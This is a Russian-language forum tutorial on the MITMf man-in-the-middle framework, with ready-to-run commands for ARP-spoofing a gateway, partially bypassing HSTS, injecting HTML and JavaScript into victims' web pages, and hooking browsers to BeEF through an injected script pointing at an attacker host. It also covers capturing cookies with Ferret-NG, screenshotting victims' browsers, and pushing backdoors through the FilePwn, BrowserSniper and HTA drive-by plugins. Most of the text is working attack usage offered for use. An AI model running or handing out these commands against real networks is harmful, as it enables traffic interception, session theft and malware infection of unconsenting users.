HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
— это фреймворк для атак человек-посередине (Man-In-The-Middle). Он предназначен для тех же задач, что и Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. Только работа в MITMf, по сравнению с Ettercap, проще.На самом деле, мы встретим практически всех наших знакомых из инструкции по Ettercap:
- Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
- Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
- Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
- Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
- Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
- а также ещё многих других.
Кстати, здесь вы найдёте не только обзор плагинов, сюда добавлен материал, который отсутствует даже в официальной документации.
Установка MITMf
Ранее программа работала только при установке из исходников. Судя по всему, в последнее время ситуация изменилась, и установленная из репозиториев программа успешно запускается. В Kali Linux сначала попробуйте так:
Код:
sudo apt-get install mitmf mitmflib
sudo mitmf --help
Далее показан процесс установки из исходный кодов — теперь это только для тех, у кого не работает версия из стандартных репозиториев.
Следующие инструкции являются результатом чтения официальной документации, а также метода проб и ошибок. Нужно делать именно так, как в них написано – тогда точно заработает.
В Kali Linux если вы работаете из-под рута, то устанавливать и запускать программу нужно так:
Код:
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents
pip install virtualenvwrapper
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help
— переходите в каталог со скаченной программой, к примеру:
Код:
cd bin/MITMf/
Код:
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help
Код:
sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents
sudo pip install virtualenvwrapper
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help
— переходите в каталог со скаченной программой, к примеру:
Код:
cd bin/MITMf/
Код:
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help
Начало работы с MITMf
Давайте начнём с чего-нибудь совсем простого и весёлого.
Практически с каждой командой мы будем использовать одни и те же четыре опции. Первой из них является -i, после которой нужно указать свой сетевой интерфейс (например, eth0). Если вы не знаете имя сетевого интерфейса на вашем компьютере, то посмотрите его командой:
Код:
ip a
Код:
ip r
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1
Как видим, программа работает и мы перехватили базовую аутентификацию:
Кстати, не нужно запускать отдельно
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
– он уже встроен в MITMf.Давайте остановим программу и сделаем что-нибудь наглядное. Например, перевернём изображения на всех сайтах (кроме тех, кто использует HTTPS). Для этого к нашей команде добавим ключ --upsidedownternet.
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --upsidedownternet
2018-06-19 09:17:29 192.168.1.33 [type:Chrome-51 os:Windows] [Upsidedownternet] Flipped image
А веб-сайты выглядят так:
Частичный обход HSTS
Для этого достаточно добавить два ключа --dns --hsts. Команда приобретает вид:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --upsidedownternet
Вставка произвольного содержимого в веб-страницы
Для этого имеется плагин Inject с разнообразными опциями. Для загрузки плагина нам нужно указать --inject, а также дополнительно следующие ключи:
Код:
--js-url JS_URL URL JS для инжекта
--js-payload JS_PAYLOAD JS строка для инжекта
--js-file JS_FILE Файл, содержащий JS для инжекта
--html-url HTML_URL URL HTML для инжекта
--html-payload HTML_PAYLOAD HTML строка для инжекта
--html-file HTML_FILE
Файл, содержащий HTML для инжекта
--per-domain Вставить один раз на домен для одного клиента.
--rate-limit RATE_LIMIT
Вставить один раз каждые RATE_LIMIT секунд на одного клиента.
--count-limit COUNT_LIMIT
Вставить только COUNT_LIMIT раз на одного клиента.
--white-ips IP Вставить контент ТОЛЬКО для этих IP (разделять запятыми)
--black-ips IP НЕ вставлять содержимое для этих IP (разделять запятыми)
--white-domains ДОМЕНЫ
Вставлять контент ТОЛЬКО для этих доменов (разделять запятыми)
--black-domains ДОМЕНЫ
НЕ вставлять контент для этих доменов (разделять запятыми)
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --inject --html-payload '<p>I am cool!</p>'
Подцепление программой
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
делается следующим образом (не забудьте отредактировать данные под ваши значения):
Код:
--js-url http://beef:3000/hook.js
Захват кукиз
Для этого имеется плагин Ferret-NG, который запускается опцией --ferretng. Например:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --ferretng
Создание скриншотов сайтов
Плагин ScreenShotter использует HTML5 Canvas для отображения точного скриншота клиентских браузеров. Плагин загружается опцией --screen:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --screen
Заражение бэкдорами
Для этого есть целых три плагина (плюс можно придумать собственные атаки через инжект в HTML код различного содержимого). Это плагины:
- FilePwn (Будет отправлен исполнимый бэкдор через http используя bdfactory)
- BrowserSniper (Выполняет атаки на клиенты легендой об устаревшем плагине браузера)
- HTA Drive-By (Выполнить атаку с HTA на клиентах)
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
в Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
.Куда MITMf сохраняет захваченные данные и изображения
Абсолютно всё полезное (даже то, чего вы не ждали, например, DNS запросы) MITMf сохраняет в поддиректорию logs в своей директории (например, у меня это /home/mial/bin/MITMf/logs/).
Настройка MITMf
В поддиректории config вы найдёте несколько файлов с настройками. Большинство опций можно поменять в командной строке, но некоторые удобнее отредактировать там. Кроме основного конфигурационного файла MITMf, там вы найдёте файлы для Responder и пример файла для HTA Drive-By.
В основном файле настроек MITMf (mitmf.conf) вы можете поменять значения для BeEF (хост, порт, имя и пароль), Metasploit (хост, порт, пароль), MITMf-API (хост, порт), DNS (добавить разнообразные записи для спуфинга DNS ответов) и другие настройки для разнообразных плагинов, входящих в фреймворк MITMf.
Замена HTML при атаке человек-посередине
Для замены содержимого веб-страниц имеется плагин Replace. Он активируется опцией --replace, а настраивается в файле mitmf.conf. В этом файле уже есть два правила:
Код:
[Replace]
[[Regex1]]
'Google Search' = '44CON'
[[Regex2]]
"I'm Feeling Lucky" = "I'm Feeling Something In My Pants"
В инструкции по Ettercap я приводил три примера замены: замена заголовка, добавление данных и подцепление BeEF. Все три примера можно реализовать следующими строками:
Код:
[[Regex3]]
"<title>.*</title>" = "<title>No Title</title>"
[[Regex4]]
"<body.*?>" = "<body><p>I am cool!</p>"
[[Regex5]]
"</head>" = "<script src="http://192.168.1.36:3000/hook.js"></head>"
Здесь можно использовать регулярные выражения для поиска.
API MITMf
Чтобы включить или отключить какой-либо плагин, вам не нужно перезапускать MITMf, это можно сделать с использованием API. Для получения списка активных и неактивных плагинов запросите страницу
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Это можно сделать открыв её в браузере или в командной строке:
Код:
curl http://127.0.0.1:9999/
Чтобы получить статус какого-то конкретного плагина, то можно сделать так, открыть в браузере страницу
Код:
http://127.0.0.1:9999/имя_плагина
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
А также так:
curl
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Добавляя через слеш нолики и единички можно, соответственно, отключать и включать любые плагины:
curl
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
curl
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Фильтры MITMf
В MITMf с помощью плагинов Inject и Replace можно реализовать практически всё, что обычно требуется при вставке/замене HTML. Тем не менее, это не всё! Теперь с помощью Scapy вы можете модифицировать любой пакет/протокол, которые перехватывает MITMf! Более того, вы можете изменять фильтры на лету – без перезапуска MITMf.
Scapy даёт потрясающую гибкость и, пожалуй, безграничные возможности (конечно, если вы умеете пользоваться Scapy).
В качестве примере возьмём крошечный глупый фильтр, который изменяет IP назначения ICMP пакетов:
Код:
if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
- Используйте переменную packet для доступа к пакетам в формате совместимым с Scapy
- Используйте переменную data для доступа к сырым данным пакета
Код:
python mitmf.py -F ~/filter.py
Скорее всего вы захотите комбинировать это с плагином Spoof для действительного перехвата пакетов от кого-то ещё
Решение проблем и ошибок при запуске MITMf
Решение проблемы «Error starting HTTP server: [Errno 98] Address already in use»
Если при запуске MITMf вы видите сообщение:
Error starting HTTP server: [Errno 98] Address already in use
Оно означает, что на вашей системе уже запущен веб-сервер. Этим веб-сервером может быть Apache, hostapd, Nginx. Даже если вы не помните, что устанавливали какой-либо из них, это могло произойти при установке зависимостей для других инструментов. К примеру, пакет hostapd является зависимостью для
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
, Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
, Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
(и других). Если вы используете VPS и готовую установку одного из дистрибутивов, то обычно в них уже предустановлен веб-сервер.Если вы знаете название веб-сервера, то его можно остановить командой:
Код:
sudo systemctl stop название_службы_веб_сервера
Код:
sudo systemctl stop apache2.service
Код:
sudo systemctl stop httpd.service
Код:
sudo ss -pnat
Найдите запись, содержащую :::80 (здесь может быть также указан конкретный IP адрес вашего компьютера):
Код:
LISTEN 0 128 :::80 :::* users:(("apache2",pid=9238,fd=4),("apache2",pid=9237,fd=4),("apache2",pid=9236,fd=4),("apache2",pid=9235,fd=4),("apache2",pid=9234,fd=4),("apache2",pid=9233,fd=4),("apache2",pid=9194,fd=4))
Код:
LISTEN 0 128 :::80 :::* users:(("httpd",pid=29253,fd=4),("httpd",pid=21426,fd=4),("httpd",pid=20863,fd=4),("httpd",pid=19910,fd=4),("httpd",pid=19078,fd=4),("httpd",pid=6671,fd=4),("httpd",pid=6665,fd=4),("httpd",pid=6510,fd=4),("httpd",pid=6242,fd=4),("httpd",pid=6239,fd=4),("httpd",pid=6235,fd=4),("httpd",pid=6234,fd=4),("httpd",pid=341,fd=4))
Код:
sudo systemctl stop название_службы_веб_сервера
Решение проблемы с ошибкой «Couldn't listen on any:10000: [Errno 98] Address already in use.»
Если при запуске MITMf вы видите ошибку:
Код:
Couldn't listen on any:10000: [Errno 98] Address already in use.
Это означает, что уже запущен другой экземпляр MITMf.
Простой способ – перезагрузить компьютер и снова попробовать запустить MITMf.
Правильный способ, это закрыть процесс без перезагрузки компьютера. Выполните команду:
Код:
sudo ss -pnat
Появятся записи о прослушиваемых портах, программах и их pid. Найдите записи с MITMf. Пример:
Код:
LISTEN 0 5 192.168.0.69:445 *:* users:(("mitmf.py",pid=6986,fd=38))
LISTEN 0 5 192.168.0.69:139 *:* users:(("mitmf.py",pid=6986,fd=39))
LISTEN 0 128 127.0.0.1:9999 *:* users:(("mitmf.py",pid=6986,fd=32))
LISTEN 0 5 192.168.0.69:80 *:* users:(("mitmf.py",pid=6986,fd=33))
LISTEN 0 50 *:10000 *:* users:(("mitmf.py",pid=6986,fd=13))
Код:
sudo kill 6986
Заключение
Инструкция получилась не слишком большой (я рад!), но это не означает, что у MITMf маленькая функциональность. Напротив, с MITMf мы может сделать абсолютно всё, для чего в Ettercap нам нужны были разнообразные программы. И даже больше! После понимания принципов работы MITMf, работа с ним становиться интуитивно понятной и достаточно обычной справки, чтобы освоить новый плагин.